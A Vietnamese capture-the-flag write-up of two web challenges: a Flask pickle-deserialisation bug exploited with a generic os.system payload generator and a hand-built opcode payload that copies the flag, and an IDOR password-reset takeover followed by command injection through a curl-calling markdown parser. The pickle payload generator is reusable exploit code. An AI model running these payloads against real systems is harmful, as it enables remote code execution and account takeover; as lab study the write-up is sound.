# CTF 14/15
## Pickleball
```python!
@app.route("/process", methods=["GET", "POST"])
def process():
if "username" not in session:
return redirect(url_for("login"))
error = None
disassembled_output = None
banned_patterns = [b"\\", b"static", b"templates", b"flag.txt", b">", b"/", b"."]
banned_instruction = "REDUCE"
if request.method == "POST":
payload = request.form.get("payload", "")
try:
decoded_data = base64.b64decode(payload)
for pattern in banned_patterns:
if pattern in decoded_data:
raise ValueError("Payload contains banned characters!")
try:
output = io.StringIO()
pickletools.dis(decoded_data, out=output)
disassembled_output = output.getvalue()
if banned_instruction in disassembled_output:
raise ValueError(
f"Payload contains banned instruction: {banned_instruction}"
)
except Exception as e:
disassembled_output = "Error!"
pickle.loads(decoded_data)
except Exception as e:
error = str(e)
return render_template(
"process.html", error=error, disassembled_output=disassembled_output
)
```
- đoạn code dùng pickle để deserialize dữ liệu đầu vào của người dùng
- và có blacklist 1 số từ khóa
- gen payload https://github.com/shafdo/pickle-payload-gen-python3
```python!
#!/bin/python3
import pickle,base64,os,sys
try:
if(sys.argv[1] == "--help" or sys.argv[1] == "-h"):
print("""\nUSAGE\n=====\n./pickle-payload-gen.py <payload>\n""")
sys.exit()
command = sys.argv[1]
except IndexError:
print("\n[-] No payload specified sticking with default payload => id\n")
command = "id"
class PAYLOAD():
def __reduce__(self):
return os.system, ("{}".format(command),)
b64Encoded = base64.b64encode(pickle.dumps(PAYLOAD(), protocol=0)).decode("utf-8")
print("Payload (Base64) => {}".format(b64Encoded))
```
### test local



### khai thác web

- xóa bỏ dấu "." để không bị ban trong blacklist và mình gửi request

- sau đó truy cập ```http://3ada52375b5f3f47b8af70804b123d15.chall.w1playground.com:8082/static/css/flag``` để lấy flag

flag: ```W1{do_you_wanna_play_pickleball?_fabe024ba700d99bf696871da940cdb3}```
```python!
import pickle
import base64
opcode=b'''(cos
system
S'tar -cf $(echo "L2FwcC9zdGF0aWMvY3NzL2ZsYWcudGFyIC9mbGFn"|base64 -d)'
o'''
#pickle.loads(opcode)
print(base64.b64encode(opcode).decode())
```
1. Định nghĩa dữ liệu opcode:
- Dữ liệu opcode là một chuỗi byte chứa một payload được viết bằng Pickle, một module trong Python dùng để serialize và deserialize dữ liệu.
```python!
(cos
system
S'tar -cf $(echo "L2FwcC9zdGF0aWMvY3NzL2ZsYWcudGFyIC9mbGFn"|base64 -d)'
o
```
- Import module os (Pickle dùng ký hiệu cos để gọi os).
- Gọi hàm system của module os với tham số chuỗi lệnh
```python!
tar -cf $(echo "L2FwcC9zdGF0aWMvY3NzL2ZsYWcudGFyIC9mbGFn"|base64 -d)
```
- Chuỗi L2FwcC9zdGF0aWMvY3NzL2ZsYWcudGFyIC9mbGFn khi giải mã Base64 thành:
```python!
/app/static/css/flag.tar /flag
```
Dòng mã pickle.loads(opcode) (hiện bị bình luận):
Nếu dòng mã này được kích hoạt, nó sẽ giải nén chuỗi Pickle và thực thi lệnh os.system.
Hành động thực thi:
Tệp nén flag.tar sẽ được tạo ra.
Cảnh báo bảo mật: Pickle không an toàn nếu dùng dữ liệu không tin cậy, vì nó có thể thực thi bất kỳ mã Python nào.
Encode chuỗi Pickle thành Base64:
Dòng print(base64.b64encode(opcode).decode()) chuyển đổi payload Pickle thành chuỗi Base64 để dễ dàng nhúng hoặc gửi đi qua mạng.
Kết quả của chuỗi Base64:
```python!
KGNvcwppc3lzdGVtClMnJ3RhciAtY2YgJChlY2hvICJMMkZ3Y0M5emRHSmhiblJrYjNKdUwyWmxaV3R5WjJ4dmJtRnRaU0EyT1dKbFkiCWJhc2U2NCAtZCkKbwpwMAo=
```
## web_armaxis (HTB)
- đăng ký tài khoản và đăng nhaaoj với mail của user test


- thực hiện reset password


- token to reset your password: ```af1a33bfaac6f2bf8fe71a4b5ee7432d```

- thấy có bị lỗi idor tại chức năng này khi chỉ phân biệt user qua email bởi hàm ```getUserByEmail``` mà không kiểm tra token trong cookie
- khiến chúng ta có thể tận dụng reset password của user tùy ý trong hệ thống
```javascript!
router.post("/reset-password", async (req, res) => {
const { token, newPassword, email } = req.body; // Added 'email' parameter
if (!token || !newPassword || !email)
return res.status(400).send("Token, email, and new password are required.");
try {
const reset = await getPasswordReset(token);
if (!reset) return res.status(400).send("Invalid or expired token.");
const user = await getUserByEmail(email);
if (!user) return res.status(404).send("User not found.");
await updateUserPassword(user.id, newPassword);
await deletePasswordReset(token);
res.send("Password reset successful.");
} catch (err) {
console.error("Error resetting password:", err);
res.status(500).send("Error resetting password.");
}
});
```

- em đặt lại mật khẩu của admin


- đăng nhập thành công vào tài khoản admin

```javascript!
router.post("/weapons/dispatch", authenticate, async (req, res) => {
const { role } = req.user;
if (role !== "admin") return res.status(403).send("Access denied.");
const { name, price, note, dispatched_to } = req.body;
if (!name || !price || !note || !dispatched_to) {
return res.status(400).send("All fields are required.");
}
try {
const parsedNote = parseMarkdown(note);
await dispatchWeapon(name, price, parsedNote, dispatched_to);
res.send("Weapon dispatched successfully.");
} catch (err) {
console.error("Error dispatching weapon:", err);
res.status(500).send("Error dispatching weapon.");
}
});
```
- có sử dụng hàm ```parseMarkdown``` có gọi đến ```execSync``` cho phép tạo tiến trình con thực hiện lệnh hệ thống
- dữ liệu trả về sẽ được base64 và cho vào trong thẻ img
```javascript!
function parseMarkdown(content) {
if (!content) return '';
return md.render(
content.replace(/\!\[.*?\]\((.*?)\)/g, (match, url) => {
try {
const fileContent = execSync(`curl -s ${url}`);
const base64Content = Buffer.from(fileContent).toString('base64');
return `<img src="data:image/*;base64,${base64Content}" alt="Embedded Image">`;
} catch (err) {
console.error(`Error fetching image from URL ${url}:`, err.message);
return `<p>Error loading image: ${url}</p>`;
}
})
);
}
```


- dữ liệu chuyền vào hàm ```parseMarkdown``` chính lấy từ param ```note```

- trong đó đoạn mã sẽ in tất cả URL mà regex tìm được trong nội dung Markdown.
```javascript!
content.replace(/\!\[.*?\]\((.*?)\)/g, (match, url) => {
console.log('Found URL:', url);
return match; // Trả lại nội dung không thay đổi
});
```
- em thử với payload `````` và trigger thành công


- sau đó vào lấy flag với payload ``````

